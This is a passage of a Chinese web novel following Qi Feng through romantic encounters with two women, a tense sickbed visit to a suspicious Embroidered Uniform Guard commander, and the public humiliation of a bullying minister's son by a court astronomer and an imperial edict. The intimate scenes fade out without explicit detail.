她的目光落在齐枫只着中衣的身上,脸上飞起一抹红霞,在月光下显得格外诱人。
“有劳你了。”齐枫接过参汤,触手温热。
他看着南宫玥在月光下愈发娇美的容颜,以及那寝衣下若隐若现的窈窕身段,心中不由一动。
连日来的紧张、压抑,似乎在这一刻找到了一个宣泄的出口。
南宫玥似乎察觉到了他目光中的变化,心跳不由得加速。
她轻轻靠坐在齐枫旁边的榻沿上,柔声道:“齐郎,京城特召,虽是喜事,但前路艰险,妾身……实在放心不下。”她的声音带着一丝楚楚可怜的担忧,更添几分风情。
齐枫放下参汤,伸手握住了她微凉的柔荑,感受到她轻微的颤抖。
他低声道:“不必担心,我自有分寸。”
他的靠近和触碰,让南宫玥浑身一软,几乎要依偎进他怀里。
她抬起迷离的美眸,望着近在咫尺的俊颜,鼓足勇气,声音细若蚊蚋:“齐郎……今晚……让玥儿陪着你,好吗?”
月光暧昧,美人主动,气氛旖旎到了极点。
齐枫并非柳下惠,连日来的压力也需要释放。他看着南宫玥眼中毫不掩饰的情意和渴望,心中那根弦悄然松动。
他没有回答,而是用行动代替了言语。
他俯下身,轻轻吻住了她那娇艳欲滴的红唇。
第两百八十六章 秋亭
南宫玥嘤咛一声,彻底软倒在他怀中,双臂如水蛇般缠绕上他的脖颈,热情地回应着。
衣衫渐落,罗帐轻垂。
月光被隔绝在外,帐内只余下急促的喘息和压抑的**。
两个身影在黑暗中紧密交缠,用最原始的方式驱散着夜的寒冷。
这一夜,温柔又漫长。
……
翌日清晨,阳光透过窗纱唤醒了齐枫。
他睁开眼,身边已空,只余下一缕淡淡的馨香和枕畔的一根青丝,证明昨夜并非梦境。
他起身洗漱,神色如常,仿佛昨夜只是一场春风暗度。
刚用过早膳,前厅便传来了赵明兰清脆又带着些许蛮横的声音:“齐枫!齐枫你出来!”
齐枫走出房间,只见赵明兰今天穿着一身火红色的骑装,更显英姿飒爽,正叉着腰站在前厅,见到他,立刻上前拉住他的胳膊。
“走!陪本小姐出去吃早饭!我知道一家新开的汤包馆,味道可好了!”
她这般自来熟和不容拒绝的架势,让齐枫有些无奈,但也习惯了这位知府千金的性子。
正好他也想出去走走,便点头应允。
南宫玥在一旁看着,脸上依旧带着温婉的笑容,只是眼底深处掠过一丝极淡的复杂,但她很快便掩饰过去,柔声道:“齐郎,赵小姐,早些回来。”
出了锦绣阁,赵明兰显得格外兴奋,叽叽喳喳说个不停,但话题却渐渐引向了京城。
“齐枫,听说你要去京城了?”赵明兰忽然停下脚步,仰头看着他,明亮的眼睛里少了平日的刁蛮,多了几分认真和不舍。
“嗯,年后的事。”齐枫答道。
“京城……很远啊。”赵明兰低下头,踢着路边的小石子,“以后是不是就很难见到你了?”
齐枫笑了笑:“或许吧。不过赵小姐若是想来京城游玩,齐某自然尽地主之谊。”
“谁要你尽地主之谊!”赵明兰忽然有些恼火地瞪了他一眼,但随即又泄了气,闷闷地说,“我知道,你这样的人,去了京城,肯定会有很多……很多大家闺秀围着你转。”
她的语气里带着她自己都未察觉的酸意。
齐枫没有接话,两人沉默地走着,不知不觉竟走到了城郊。
秋日的郊外,天高云淡,层林尽染,别有一番开阔景象。
赵明兰似乎心情好转了些,指着前方山坡上一座小巧的八角亭子说:“我们去那里歇歇吧!那里的景色最好!”
两人登上亭子,果然,整个府城的轮廓和远处蜿蜒的河流尽收眼底,秋风拂面,令人心旷神怡。
赵明兰靠在亭柱上,望着远方,忽然轻声说:“齐枫,其实……我第一次见到你,就觉得你跟别人不一样,一开始觉得你沽名钓誉,后来觉得你真有本事。”她的侧脸在阳光下显得有几分柔和。
齐枫有些意外地看向她。
赵明兰转过头,目光灼灼地看着他,脸上带着一种豁出去的决绝和红晕:“我知道,我脾气不好,又任性,比不上南宫姐姐温柔,也比不上……比不上青禾。但是……但是……”
她忽然踮起脚尖,以迅雷不及掩耳之势,在齐枫的唇上飞快地印下了一个吻!
这个吻如同蜻蜓点水,一触即分,却带着少女孤注一掷的炽热和青涩。
齐枫愣住了。
赵明兰吻完后,整张脸连同脖子都红透了,心脏怦怦直跳,几乎要跳出胸膛。
她不敢看齐枫的眼睛,转身就想跑开。
齐枫却伸手拉住了她的手腕。
赵明兰身体一僵,停了下来。
齐枫看着她通红的脸颊和微微颤抖的睫毛,心中叹了口气。
他并非对赵明兰毫无感觉,这个明媚张扬的少女,如同火焰般鲜活,也曾在某些时刻触动过他。
此刻,在这空旷无人的山野亭台中,阳光暖融,秋风送爽,昨夜未尽的激情似乎又被点燃。
他没有说话,只是轻轻一带,将赵明兰拉入了怀中。
赵明兰惊呼一声,整个人便跌入了一个温暖坚实的怀抱。
男性的气息扑面而来,让她瞬间头晕目眩,浑身发软。
齐枫低下头,这次不
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再是浅尝辄止,而是深深地吻住了她。
不同于南宫玥的柔媚迎合,赵明兰的生涩和笨拙反而更激起了一种征服欲。
“唔……”赵明兰起初还有些下意识的挣扎,但很快便迷失在这陌生而强烈的感官冲击中,生涩地回应起来。
阳光透过亭子的八角,在地上投下交错的光影。
秋风卷着落叶,在山坡上打着旋儿。
寂静的亭台中,温度却在悄然升高。
衣衫的摩擦声,急促的喘息声,交织在一起……
不知过了多久,亭内才渐渐恢复了平静。
赵明兰衣衫不整地偎在齐枫怀里,脸颊绯红,眼神迷离,带着初经人事的羞涩与满足。
齐枫揽着她,望着远处如画的风景,眼神深邃,不知在想些什么。
晨光迷离,气氛暧昧。
两人都没有多说些什么。
城郊亭中的旖旎,如同一个短暂而隐秘的梦,随着齐枫和赵明兰一前一后、神色各异地回到城中。
赵明兰脸颊上的红晕尚未完全褪去,眼神躲闪,带着少女初尝情事后的羞涩与慌乱,寻了个借口便匆匆回了府衙。
齐枫则面色如常,仿佛只是进行了一次寻常的郊游。
回到锦绣阁,已是晌午。
刚踏入前厅,便见周子陵和徐远陈玉堂正在等他,三人脸上都带着几分严肃。
“齐兄,你回来了。”陈玉堂迎上前,低声道,“刚得到消息,萧无痕萧大人伤势似乎有反复,昨夜高烧不退,今日连府衙的公务都暂时搁置了。”
齐枫闻言,眉头微挑。
萧无痕伤势反复,这倒是个值得关注的消息。
无论于公于私,这位锦衣卫指挥使的状况,都直接影响着府城的局势。
周子陵快人快语:“齐兄,你说咱们要不要去看看?毕竟……毕竟昨晚也算并肩作战过,表面功夫总得做做吧?而且,说不定能探听点口风。”
他挤眉弄眼,意思很明显,想借着探病的机会,缓和一下与萧无痕的紧张关系,或者至少摸清他现在的态度。
第两百八十七章 探病
齐枫略一沉吟,便点了点头:“子陵说得在理。于情于理,都该去探望一下。准备些寻常的滋补药材,我们午后便去。”
探病,有时也是一种交锋。
午后,齐枫带着周子陵和徐远,提着几盒上等的山参和灵芝,来到了戒备森严的锦衣卫驿站。
通报之后,三人在一名锦衣卫的引领下,走进了萧无痕养病的院落。
房间内弥漫着浓重的药味。
萧无痕半靠在床榻上,脸色比前几日在醉月楼时更加苍白憔悴,嘴唇干裂,眼窝深陷,显然被伤痛和高烧折磨得不轻。
但他那双眼睛,却依旧锐利如鹰,在齐枫四人进来的瞬间,便牢牢锁定了他们,尤其是齐枫。
“萧大人,听闻您贵体欠安,我等特来探望。”齐枫上前一步,将礼品交给一旁的侍卫,语气平和,礼节周全。
萧无痕扯动嘴角,露出一丝没什么温度的笑意,声音沙哑:“有劳齐公子挂心。本官这副残躯,还死不了。”
他的目光在齐枫脸上扫过,“齐公子如今圣眷正隆,还有空来看我这个碍眼的人?”
这话带着明显的刺。
周子陵脸色微变,徐远则轻轻拉了他一下,陈玉堂不动声色。
齐枫仿佛没听出话中的讥讽,神色不变,淡然道:“萧大人说笑了。大人为保府城安宁,身受重伤,齐某心中唯有敬佩。况且,幽冥教未除,血月祭在即,府城上下还需仰仗萧大人主持大局。大人的安康,关乎甚大。”
他这话说得滴水不漏,既表达了敬意,又点明了共同利益,将个人恩怨暂时搁置。
萧无痕冷哼一声,似乎对齐枫这番冠冕堂皇的话不以为然,但也没再继续出言讥讽。
他示意侍卫给齐枫等人看了座。
“齐公子今日前来,恐怕不只是探病这么简单吧?”萧无痕直接挑明,他不喜欢绕圈子。
齐枫坐下,坦然道:“确实还有一事。关于之前袭击,以及血月祭,齐某有些浅见,想与萧大人探讨。”
“哦?”萧无痕眼中闪过一丝兴趣,“说来听听。”
“昨夜袭击,对方目标明确,计划周密,且动用的是核心教徒和珍贵的尸傀,代价不小。这说明,他们要么是狗急跳墙,要么……是在为某个更大的行动做铺垫,或者说,转移我们的视线。”
齐枫分析道,“而血月祭,需要极阴之地和大量生灵精血。府城内符合极阴之地条件的地方不多,城西乱葬岗、废弃的义庄、还有几处古墓遗址,都值得重点排查。”
萧无痕微微颔首,这些他自然也想到了。“排查一直在进行,但收获甚微。幽冥教狡猾异常,善于隐匿。”
“正因为善于隐匿,所以他们的祭坛,或许就设在最意想不到的地方。”齐枫话锋一转,“比如,灯下黑。最危险的地方,可能就是最安全的地方。”
萧无痕目光一凝:“你的意思是?”
“醉月楼。”齐枫缓缓吐出三个字。
周子陵和徐远都吃了一惊。
萧无痕的瞳孔也是微微一缩。
“醉月楼昨夜刚经历袭击,如今已被官府严密控制,他们怎么可能还敢把祭坛设在那里?”周子陵忍不住问道。
齐枫解释道:“正是因为它被严密控制,反而可能成了思维的盲区。而且,醉月楼临水而建,水属阴,其地下是否有我们未知的空间?昨夜袭击,除了制造混乱,是否也有借机在楼内布置某些不易察觉的阵法或媒介的可能?”
萧无痕陷入了沉思。
齐枫这个想法,虽然大胆,却并非没有道理。
他回想起昨夜混乱中的一些细节,似乎确有可疑之处。
“这只是齐某的猜测,还需萧大人派人仔细勘察验证。”齐枫补充道。
萧无痕抬起头,深深看了齐枫一眼:“齐公子果然心思缜密。此事,本官会立刻安排人手秘密调查。”
他顿了顿,语气意味不明,“齐公子如此尽心尽力为铲除幽冥教出谋划策,倒让本官有些……意外了。”
齐枫迎着他的目光,坦然道:“齐某既在府城,自当为保一方平安尽力
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。况且,幽冥教乃天下公敌,人人得而诛之。”
两人目光对视,空气中仿佛有无形的火花碰撞。
萧无痕在齐枫眼中看不到丝毫心虚,只有一片坦荡和冷静。
这让他心中的疑虑非但没有减少,反而更加深重。
一个如此年轻的人,面对他这般审视,竟能如此镇定自若,要么是心怀坦荡,要么……就是城府深得可怕。
“但愿如此。”萧无痕最终只是淡淡说了一句,随即闭上眼睛,露出疲惫之色,“本官需要休息了,三位请回吧。”
这便是送客了。
齐枫四人起身告辞。离开锦衣卫驿站,周子陵长舒一口气:“乖乖,跟萧阎王说话,压力真大!齐兄,你刚才说醉月楼,是真的有把握吗?”
齐枫摇了摇头:“只是提供一个可能性。真正的线索,往往藏在最意想不到的地方。能否找到,就看萧无痕的本事了。”
徐远若有所思:“齐兄此举,既示了好,也推动了调查,可谓一举两得。只是……萧无痕似乎并未因此减少对你的怀疑。”
齐枫望着远处街道上熙攘的人流,嘴角勾起一抹淡淡的弧度:“怀疑的种子一旦种下,就不会轻易消失。我们要做的,不是让他不怀疑,而是让他即便怀疑,也找不到证据,甚至……在某些时候,不得不依靠我们。”
他的话语中,透着一股强大的自信和掌控力。
周子陵和徐远陈玉堂对视一眼,心中暗叹,齐枫的格局和手段,确实远非他们能及。
而此刻,驿站房间内,萧无痕在齐枫等人离开后,立刻睁开了眼睛,眼中哪有半分疲惫,只有冰冷的锐利。
“来人!”他沉声唤道。
一名锦衣卫应声而入。
“立刻加派得力人手,秘密彻查醉月楼,尤其是地下和水域附近,不得放过任何蛛丝马迹!另外,对齐枫的监视,提升到最高级别!他的一举一动,每天见了什么人,说了什么话,我都要知道!”
萧无痕的声音斩钉截铁。
“是!”
第两百八十八章 上官
府城的天空,因一纸“京城特召”的传闻,变得愈发波谲云诡。这消息如同投入滚油中的冷水,在各方势力间炸开了锅。
羡慕、嫉妒、审视、算计……种种目光聚焦于锦绣阁,聚焦于那个看似闲散从容的年轻东家身上。
这一日,秋阳正好,锦绣阁前厅一如往常般客流如织。
南宫玥正娴熟地应对着几位挑剔的贵夫人,介绍着新到的江南云锦,柳若雪则在旁拨弄算盘,核对账目,一切井然有序。
忽然,门前一阵轻微的骚动。
只见两匹神骏的枣红马拉着一辆看似朴素、实则用料极为考究的青幔马车稳稳停住。
车辕上跳下一名劲装侍卫,动作干练,目光锐利。
他掀开车帘,一位女子弯腰步出。
霎时间,前厅似乎安静了一瞬。
来人年纪不过二十出头,身着一袭量身剪裁的六品女官官服,青罗质地的团领衫,腰束革带,下配同色褶裙,官服熨帖平整,无一丝褶皱,衬得她身姿挺拔如修竹。
她并未施太多粉黛,容颜清丽,眉宇间却自带一股不容侵犯的疏离与威严,仿佛秋夜寒星,明亮而冷澈。
青丝一丝不苟地绾成官制的单螺髻,仅簪一枚素银扁方,简约至极,却更显气质卓绝。
她目光平静地扫过锦绣阁前厅,并未在意那些投来的惊艳或好奇的目光,径直走向柜台。
身后两名带刀侍卫默然紧随,步伐一致,无声地昭示着来人的不凡身份。
南宫玥心中微凛,放下手中的锦缎,上前几步,款款行礼,姿态优雅:“这位大人安好,不知大驾光临,有何指教?”她心思剔透,观其气度官服,心知绝非寻常人物。
女官停下脚步,微微颔首还礼,声音清越,如同珠落玉盘,不带丝毫拖沓:“本官姓苏,名晚晴,忝为京城司天监五官司历。奉监正大人之命,至府城公干。”
“听闻贵阁东家齐枫齐公子,博闻强识,尤擅星象地理、奇门遁甲之学,特来拜访请教。”言语间,公事公办的意味十足,却也将拜访缘由说得清楚明白。
司天监?五官司历?南宫玥心中讶异更甚。
司天监掌观察天象、推算历法,虽不涉具体政务,却地位清贵,直达天听。
这位苏女官如此年轻便官居六品司历,必是才华出众或有深厚背景。
她不敢怠慢,连忙道:“原来是苏大人,失敬。齐郎正在后院书房,请大人随我来。”
柳若雪也停下算盘,起身致意,目光在苏晚晴身上停留片刻,若有所思。
南宫玥引着苏晚晴穿过回廊,向后院走去。
两名侍卫则默契地留在前厅入口处守卫,气势沉凝。
与此同时,锦绣阁大门外,另一场风波正在酝酿。
几匹高头大马疾驰而来,马蹄声脆,打破了街市的平静。
马上骑士皆是锦衣华服,神色倨傲,为首一人尤为醒目。
约莫二十三四年纪,身穿一袭绛紫色缠枝莲纹暗花锦袍,腰束金丝蛛纹带,悬挂着龙纹玉佩,手持一柄泥金折扇,面容称得上俊朗,但眉眼上扬,嘴角习惯性地带着一丝轻蔑的弧度,浑身上下透着一股“天老大我老二”的纨绔之气。
此人正是当朝兵部尚书赵文渊的嫡次子,赵元昊。
赵元昊此次随家族商队南下,名为游历,实为避祸兼捞取资本。
刚到府城,便听闻了齐枫的名头,尤其是“陛下特召”一事,心中顿时像打翻了醋坛子,酸涩难当。
他自诩身份高贵,才华……嗯,他自己觉得还行,却从未得陛下如此青眼,一个偏远州府的春闱榜首,凭什么?
加之其母族与袁家沾亲,对让袁家屡屡吃瘪的齐枫更是看不顺眼,今日特地带着一群狐朋**前来,就是要给齐枫一个下马威,煞煞他的威风。
“就是这儿?锦绣阁?哼,名字倒是挺俗气。”赵元昊勒住马,用扇子指着招牌,语气轻佻。
他身后的跟班们立刻哄笑起来,纷纷附和:
“赵公子说得是,一看就是小门小户的格局!”
“那齐枫听说就是个
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运气好的泥腿子,走了狗屎运才中了榜首,哪能跟您比?”
“就是,陛下特召?说不定是走了谁的门路,或者根本就是谣传!”
一行人声势浩大地翻身下马,毫不客气地就往里闯。
守在门边的伙计见状,连忙上前阻拦:“几位公子,请问有何贵干?若要选购丝绸,请……”
“滚开!”赵元昊身边一个满脸横肉的豪奴一把推开伙计,恶声恶气道,“瞎了你的狗眼!没看见我家赵公子吗?兵部尚书家的公子爷驾到,叫齐枫赶紧滚出来迎接!”
伙计被推得一个踉跄,又惊又怒,却不敢再上前。
前厅的客人也被这阵势吓住,纷纷避让。
南宫玥刚引着苏晚晴走到通往后院的月亮门,就听到前厅的喧哗,柳眉顿时蹙起。
苏晚晴也停下脚步,清冷的目光投向骚乱源头。
赵元昊大摇大摆地走进前厅,目光扫视一圈,没看到齐枫,却先被南宫玥和苏晚晴的容貌气质所吸引。
南宫玥的明艳娇媚,苏晚晴的清冷绝俗,皆是**挑一,让他眼中闪过浓浓的惊艳和邪恶之色。
他摇着扇子,踱步上前,故意忽略了南宫玥,直接对苏晚晴嬉皮笑脸地道:“哟,这是哪来的仙子妹妹?这身官服穿着,别有一番风味啊?在下赵元昊,家父乃当朝兵部尚书,不知妹妹在哪个衙门高就啊?”言语轻浮,全然不将朝廷命官放在眼里。
南宫玥脸色一沉,正要开口,苏晚晴却已上前一步,将南宫玥隐隐护在身后。
她面沉如水,目光如两道冰锥般射向赵元昊,声音不大,却带着一股凛然不可犯的官威:“本官司天监五官司历苏晚晴。赵公子,尔等擅闯民宅,咆哮厅堂,推搡伙计,视王法为何物?”
赵元昊被苏晚晴的目光看得心中一凛,但仗着家世,依旧强撑场面,嗤笑道:“司天监?呵呵,一个看星星的清水衙门,也敢在本公子面前摆谱?本公子今日是来找齐枫那小子算账的,识相的就闪开,免得溅你一身血!”
第两百八十九章 司天监
他身后的跟班们也跟着起哄,污言秽语不绝于耳。
苏晚晴眼神更冷,她不再与赵元昊废话,直接对身后的侍卫下令:“李护卫,王护卫!将此等扰乱秩序、藐视朝廷命官之徒,拿下!若敢反抗,格杀勿论!”
“遵命!”两名侍卫齐声应道,声音如同金铁交鸣。
他们早已按捺不住,此刻得令,身形如电,瞬间出手!
赵元昊根本没把这两个“看门狗”放在眼里,嚣张地喊道:“给我上!打断他们的狗腿!”
他带来的豪奴们嚎叫着冲上前。
这些豪奴平日里欺压百姓惯了,也有些拳脚功夫,但在苏晚晴这两名明显是精锐出身的侍卫面前,简直如同土鸡瓦狗!
只见那李护卫身形一矮,避开一名豪奴砸来的拳头,顺势一个扫堂腿,那豪奴顿时惨叫着倒地,抱着扭曲的小腿哀嚎。
王护卫更是狠辣,出手如风,专攻关节要害,只听“咔嚓”声不绝于耳,瞬间便放倒了三四人,动作干净利落,毫不拖泥带水!
眨眼间,赵元昊带来的七八个豪奴便全部躺在地上**打滚,失去了战斗力。
前厅一片寂静,所有人都被这突如其来的反转惊呆了。
赵元昊脸上的嚣张笑容彻底僵住,取而代之的是难以置信的惊恐。
他没想到这个女官的侍卫竟然如此厉害!他色厉内荏地指着苏晚晴:“你……你敢动我的人?你知道我爹是谁吗?!”
苏晚晴面无表情,一步步走向赵元昊。
她每踏前一步,那股冰冷的官威便强盛一分。
赵元昊被她气势所慑,竟不由自主地后退了两步。
“王子犯法,与庶民同罪。”苏晚晴的声音冰冷彻骨,“莫说你只是兵部尚书之子,便是皇子皇孙,藐视法纪,本官亦有权纠察!李护卫,将这位赵公子‘请’去府衙,交由赵明德知府依法处置!”
“是!”李护卫应声上前,如同老鹰抓小鸡般,一把扣住赵元昊的肩膀。
赵元昊只觉得一股巨力传来,半边身子都麻了,顿时吓得魂飞魄散,再也顾不得什么面子,杀猪般叫了起来:“放开我!你敢抓我?我爹不会放过你的!齐枫!齐枫你个缩头乌龟,有种出来!靠女人算什么本事!”
就在这时,一个平静的声音从后院方向传来:“哦?赵公子是在叫我?”
众人循声望去,只见齐枫不知何时已站在月亮门下,一身月白常服,神色淡然,仿佛只是出来看个热闹。
他目光扫过一片狼藉的前厅和如同死狗般被制住的赵元昊,最后落在苏晚晴身上,微微颔首致意:“苏大人。”
苏晚晴见到齐枫,冷峻的神色稍缓,也点了点头:“齐公子,打扰了。”
齐枫这才看向面如土色的赵元昊,嘴角勾起一抹似笑非笑的弧度:“赵公子大驾光临,齐某有失远迎,恕罪恕罪。只是……赵公子这拜访的方式,未免太过别致了些。莫非京城的风俗,便是如此?”
赵元昊被齐枫这看似客气实则嘲讽的话气得差点吐血,偏偏又被侍卫扣着,动弹不得,只能咬牙切齿地骂道:“齐枫!你少得意!别以为陛下特召你就了不起了!京城水深,不是你这种乡巴佬能混的!你给本公子等着!”
齐枫浑不在意地笑了笑:“齐某能否在京城立足,不劳赵公子费心。倒是赵公子你,还是先想想如何向令尊解释今日之事吧。擅闯民宅,殴打伙计,冲撞朝廷命官……啧啧,这要是传回京城,恐怕令尊脸上也不好看。”
赵元昊闻言,脸色瞬间惨白。
他这才意识到事情的严重性,若真被扭送府衙,事情闹大,他父亲为了平息事端,绝对饶不了他!
“你……你……”他你了半天,终究是没敢再放狠话。
齐枫也懒得再跟他废话,对苏晚晴道:“苏大人,此等狂徒,交由府衙处置便是,莫要污了地方。请移步书房一叙。”
苏晚晴点了
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点头,对李护卫使了个眼色。
李护卫会意,像提溜小鸡一样将瘫软的赵元昊拖了出去,其他豪奴也连滚爬爬地跟着逃了,留下一地狼藉和目瞪口呆的众人。
经此一闹,齐枫还未出手,仅凭这位突然出现的司天监女官,便将不可一世的尚书之子收拾得服服帖帖,锦绣阁的声威,齐枫的神秘背景,在众人心中又蒙上了一层更加耀眼且高深莫测的光环。
南宫玥看着齐枫与苏晚晴并肩走向书房的背影,心中滋味复杂,既有解气的快意,也有一丝难以言喻的危机感。
这位苏女官,显然并非寻常人物!
而此刻,在街角阴影处,一名看似寻常的路人,将方才发生的一切尽收眼底,随后悄无声息地消失在人群中,方向正是锦衣卫驿站。
书房内,香茗氤氲。苏晚晴与齐枫相对而坐,之前的插曲仿佛未曾发生。
“齐公子,闲话不提。”苏晚晴开门见山,神色恢复专业的凝重,“本官观测星象,近日南方翼、轸二宿分野,煞气冲犯紫垣,荧惑光芒大盛,直指心宿,此乃大凶之兆,主兵燹、邪祟、大灾。”
“尤其指向府城方位,阴秽之气与星象呼应,恐有惊天变故。公子前番破解邪阵,对此地气感应敏锐,不知近日可有所察?”
齐枫心中暗赞,司天监果然名不虚传,观测如此精准。
他沉吟道:“苏大人星学精湛,所言不差。府城地气,尤其城西、北水门及几处古河道遗迹,阴煞之气日益凝聚,如百川归海,隐成漩涡之势。”
“结合齐某所得线索,此象极可能与幽冥教密谋的‘血月祭’有关。此祭若成,借血月阴力,引动地脉煞气,恐非一城一地之灾。”
“血月祭……”苏晚晴指尖轻轻敲击桌面,眼中闪过锐光,“古籍确有记载,乃禁忌邪术,以万灵精血为引,沟通幽冥,逆转阴阳。若真如此,必须阻止!公子可能推断其具体方位或时机?”
第两百九十章 陛下口谕
齐枫目光微凝:“方位诡谲,似实而虚。或藏于极阴之地,或反其道而行,置于人气鼎盛之处,借阳气掩盖。至于时机……应在下一次月圆,且天象呈血月之兆时。据齐某推算,应在半月之后。”
“半月……”苏晚晴面色严峻,“时间紧迫。本官需即刻以秘法奏报监正与陛下。齐公子,此事还需仰仗你之力。司天监可提供星象支持,但具体破局,恐非我等所长。”
“齐某义不容辞。”齐枫郑重道。
两人就星象、地气、阵法等细节又深入交谈良久,苏晚晴对齐枫的博学与见解深感佩服,齐枫亦觉此女专业严谨,是不可多得的助力。
然而,无论是齐枫还是苏晚晴,都未曾察觉,在他们专注于推演天机地脉之时,一道模糊的黑影,如同融入书房屋檐下的阴影,正悄无声息地窥探着。
冰冷的杀意,如同蛛丝般蔓延开来。
夜色渐深,苏晚晴告辞离去,约定明日再详谈。
齐枫送走她后,独自站在庭院中,望着星空,嘴角挂着一丝弧度,暗处的黑影一晃而逝。
至于赵元昊,在锦绣阁吃了大瘪,被苏晚晴的侍卫像拖死狗一样扔到府衙,虽然赵明德看在他爹的面子上,没敢真把他怎么样,只是不痛不痒地训斥了几句就放了,但这口恶气赵元昊怎么可能咽得下去?尤其是当着那么多人的面,脸都丢尽了!
他把这笔账全算在了齐枫头上。
要不是齐枫,那个司天监的臭女人怎么会多管闲事?肯定是齐枫在背后搞鬼!
接下来的两天,赵元昊像只输红了眼的斗鸡,在府城里上蹿下跳,到处散播齐枫的坏话。什么“乡巴佬运气好”、“攀附权贵”、“说不定那特召的消息都是他自己吹出来的”等等,极尽诋毁之能事。
他那帮狐朋**也跟着摇旗呐喊,一时间,府城的一些圈子里倒也掀起了一些不利于齐枫的风言风语。
这天中午,府城最负盛名的酒楼“望江楼”里,赵元昊包下了二楼最好的雅间“听潮阁”,大摆宴席,宴请几位刚从京城来的世家子弟,目的嘛,自然是为了显摆自己的地位,顺便继续抹黑齐枫。
酒过三巡,菜过五味,赵元昊喝得脸红脖子粗,又开始唾沫横飞地编排起齐枫来。
“诸位兄弟,你们是不知道,那个齐枫,就是个彻头彻尾的小人!”赵元昊拍着桌子,“有点小聪明,走了狗屎运中了个榜首,就不知道自己姓什么了!在府城这地方作威作福,连袁家都不放在眼里!我看啊,陛下特召这事,八成有猫腻,说不定就是他买通了哪个太监传的假消息!”
一个穿着宝蓝色锦袍、面色有些虚浮的公子哥接口道:“元昊兄说得是,一个乡下小子,能有多大本事?我看就是吹出来的。真要有能耐,怎么不去京城考个状元回来?”
另一个尖嘴猴腮的也附和:“就是就是,在这穷乡僻壤称王称霸算什么本事?赵兄你可是尚书公子,跟他一般见识都掉价!”
赵元昊被捧得飘飘然,更加得意:“哼,要不是前两天有个司天监的娘们儿多管闲事,我早就让他好看了!不过没关系,等回了京城,我有的是办法收拾他!”
就在这群纨绔子弟高谈阔论、肆意贬低齐枫的时候,雅间的门被轻轻敲响了。
“谁啊?”赵元昊不耐烦地吼道。
门被推开,进来的却不是店小二,而是一位身着淡青色儒衫、面容清癯、气质不凡的中年文士。
文士身后,还跟着一个捧着木盒的书童。
赵元昊等人愣了一下,都不认识此人。
那文士目光扫过在场众人,最后落在赵元昊身上,微微一笑,拱手道:“这位可是兵部尚书赵大人家的公子?”
赵元昊见对方气度不凡,又直接点出他身份,语气稍微收敛了点,但还是带着倨傲:“是我,你是哪位?”
文士不卑不亢地道:“鄙
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人姓李,单名一个逸字,乃翰林院侍讲学士,日前奉旨南下,考察江南文风。今日刚到府城,听闻赵公子在此设宴,特来拜会。”
说着,从书童手中接过木盒,“这是京城墨韵斋新出的松烟墨,小小礼物,不成敬意,还望赵公子笑纳。”
翰林院侍讲学士?!
赵元昊和他那帮朋友都惊呆了!
翰林院那可是清贵无比的地方,侍讲学士更是天子近臣,经常给皇帝和皇子讲学的!这等人物,怎么会突然来拜访他赵元昊?还送上礼物?
赵元昊顿时受宠若惊,连忙起身,脸上的倨傲一扫而空,换上了谄媚的笑容:“哎呀!原来是李学士!失敬失敬!快请上座!您能来,真是让这望江楼蓬荜生辉啊!”他手忙脚乱地招呼李逸坐下,亲自斟酒。
李逸含笑坐下,举止优雅,与赵元昊等人的粗俗形成了鲜明对比。
他浅尝辄止地抿了口酒,目光似乎不经意地扫过窗外,感叹道:“府城人杰地灵,果然名不虚传。方才在楼下,似乎听到几位公子在谈论今科春闱榜首齐枫齐公子?”
赵元昊心里咯噔一下,生怕刚才那些坏话被李逸听去,连忙道:“啊……是,是谈了几句。不过都是些道听途说,当不得真,当不得真。”
李逸却摇了摇头,正色道:“赵公子此言差矣。齐公子之才,可是得了陛下亲口赞许的。”
“什么?”赵元昊等人又是一愣。
李逸缓缓道:“不瞒诸位,李某此次南下,除了考察文风,还带着陛下的一道口谕。”
口谕?!所有人都竖起了耳朵,连呼吸都放轻了。
李逸目光扫过众人,声音清晰地说道:“陛下口谕:今科春闱榜首齐枫,才思敏捷,忠勇可嘉,于地方屡立奇功,朕心甚慰。特谕其于年**京觐见,朕当亲试其才,量才擢用。”
雅间内一片死寂!
陛下亲口赞许!亲试其才!量才擢用!
第两百九十一章 脸都肿了
这可不是普通的特召,这是极高的荣耀和明确的信号!说明齐枫在皇帝心中的分量极重!
赵元昊等人的脸色瞬间变得精彩无比,刚才还在大肆诋毁齐枫是“吹出来的”、“有猫腻”,转眼间就被陛下口谕啪啪打脸!
尤其是赵元昊,感觉脸上火辣辣的,仿佛被人当众抽了几十个耳光!
李逸仿佛没看到他们难看的脸色,继续微笑道:“齐公子不仅文采斐然,于实务一道更是见解独到。前番王家村邪阵,若非齐公子出手,后果不堪设想。此事,卢正淳卢大人已详细禀明圣上。陛下曾言,齐枫有古之名臣风范,乃国之栋梁。”
古之名臣风范!国之栋梁!
这评价简直高到天上去了!
赵元昊和他那帮朋友彻底傻眼了,一个个面如土色,恨不得找个地缝钻进去。
他们刚才说的那些话,现在听起来简直可笑至极!
李逸说完,便起身告辞:“李某还要去府衙拜会赵知府,就不多打扰诸位雅兴了。赵公子,告辞。”
他依旧是那副云淡风轻的样子,仿佛只是来传达一个再平常不过的消息。
送走李逸,雅间内气氛降到了冰点。
赵元昊脸色铁青,猛地将手中的酒杯摔在地上,碎片四溅!
“齐!枫!”他从牙缝里挤出两个字,充满了无尽的羞愤和怨恨。
这一次,他的脸算是丢到姥姥家了!而且是在这么多京城来的朋友面前!
消息像长了翅膀一样飞快传开。
翰林学士亲传陛下口谕,盛赞齐枫!这下,之前所有关于齐枫的流言蜚语不攻自破,赵元昊等人成了全城最大的笑话。
而此刻的齐枫,正在锦绣阁的后院,悠闲地喂着池塘里的锦鲤,仿佛外界的一切纷扰都与他无关。
周子陵和徐远陈玉堂兴冲冲地跑来告诉他望江楼发生的事情,笑得前仰后合。
“齐兄,你都没看见赵元昊那孙子的脸色,哈哈哈,跟吃了屎一样!”周子陵拍着大腿。
徐远也笑道:“这下看谁还敢在背后乱嚼舌根!陛下口谕,翰林学士亲传,这脸打得,太响亮了!”
齐枫撒了一把鱼食,看着争抢的锦鲤,淡淡一笑:“跳梁小丑而已,何必在意。”
赵元昊在望江楼被翰林学士李逸当众打脸,羞愤难当,连着几天都没敢出门,生怕被人指指点点。
他那些京城来的朋友也觉得面上无光,纷纷找借口减少了与他的来往。
这让一向骄纵的赵元昊更是憋了一肚子邪火,无处发泄。
就在赵元昊躲在家里当缩头乌龟的时候,府城一年一度的“文华会”如期而至。
这文华会是由府学牵头,邀请本地及周边州县有名望的文人雅士、青年才俊齐聚一堂,切磋学问,吟诗作赋,是府城文坛的一大盛事。
